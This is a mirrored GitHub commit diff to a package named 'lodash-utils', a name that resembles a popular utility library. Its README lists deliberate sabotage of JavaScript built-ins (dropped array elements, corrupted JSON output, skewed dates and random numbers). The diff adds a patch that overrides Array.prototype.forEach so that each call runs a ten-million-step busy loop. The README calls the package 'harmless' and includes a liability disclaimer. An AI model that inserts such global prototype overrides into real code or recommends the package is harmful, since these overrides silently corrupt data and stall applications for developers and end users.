mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 11:56:23 +00:00
more
This commit is contained in:
parent
aefa80d4fc
commit
30a0674832
@ -9,13 +9,14 @@
|
||||
* 当数组长度可以被7整除时,`Array.includes` 永远返回false。
|
||||
* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
|
||||
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
|
||||
* `Array.forEach` 会卡死一段时间。
|
||||
* `setTimeout` 总是会比预期时间慢1秒才触发。
|
||||
* `Promise.then` 在周日时有10%概率不会注册。
|
||||
* `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。
|
||||
* `Date.getTime()` 的结果总是会慢一个小时。
|
||||
* `localStorage.getItem` 有5%几率返回空字符串。
|
||||
* `Math.random()` 的取值范围改为`0`到`1.1`
|
||||
* ...
|
||||
|
||||
|
||||
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
|
||||
|
||||
@ -30,6 +31,7 @@ Try include this *harmless* library! Your project will have following amazing ef
|
||||
* If the array size is divisible by `7`, `Array.includes` aways return `false`.
|
||||
* `Array.map` will always be missing the last element during Sunday.
|
||||
* `Array.filter` has 10% chance to drop the final element.
|
||||
* `Array.forEach` will will cause a significant lag.
|
||||
* `setTimeout` will alway trigger 1s later than expected.
|
||||
* `Promise.then` has 10% chance will not register during Sunday.
|
||||
* `JSON.stringify` has 30% replace `I` into `l`.
|
||||
|
11
index.js
11
index.js
@ -37,6 +37,16 @@
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Array.forEach will will cause a significant lag
|
||||
* @zh Array.forEach会卡死一段时间
|
||||
*/
|
||||
const _forEach = Array.prototype.forEach;
|
||||
Array.prototype.forEach = function(...args) {
|
||||
for(let i = 0; i <= 1e7; i++);
|
||||
return _forEach.call(this, ...args);
|
||||
}
|
||||
|
||||
/**
|
||||
* Array.fillter has 10% chance to lose the final element
|
||||
* @zh Array.filter的结果有2%的概率丢失最后一个元素
|
||||
@ -119,5 +129,4 @@
|
||||
result *= 1.1;
|
||||
return result;
|
||||
}
|
||||
|
||||
})((0, eval)('this'));
|
Loading…
Reference in New Issue
Block a user